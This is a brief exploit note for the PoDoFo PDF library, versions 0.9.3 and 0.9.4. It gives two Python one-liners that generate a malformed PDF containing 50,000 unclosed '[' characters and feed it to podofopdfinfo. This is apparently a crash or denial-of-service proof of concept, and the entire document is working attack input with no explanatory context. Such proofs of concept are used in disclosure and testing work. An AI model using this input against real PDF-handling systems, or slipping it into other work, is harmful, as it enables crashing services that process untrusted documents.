exploit
-------------
podofo 0.9.3 (tested on ubuntu 16.04 32 bit)
$ python -c 'print "%PDF- 1 0 obj<<" + "["*50000' > poc.pdf;podofopdfinfo poc.pdf

podofo 0.9.4 (tested on debian 9.4 64 bit)
$ python -c 'print "%PDF- 1 0 obj" + "["*50000 + "startxref 5%%EOF"' > poc.pdf ;podofopdfinfo poc.pdf
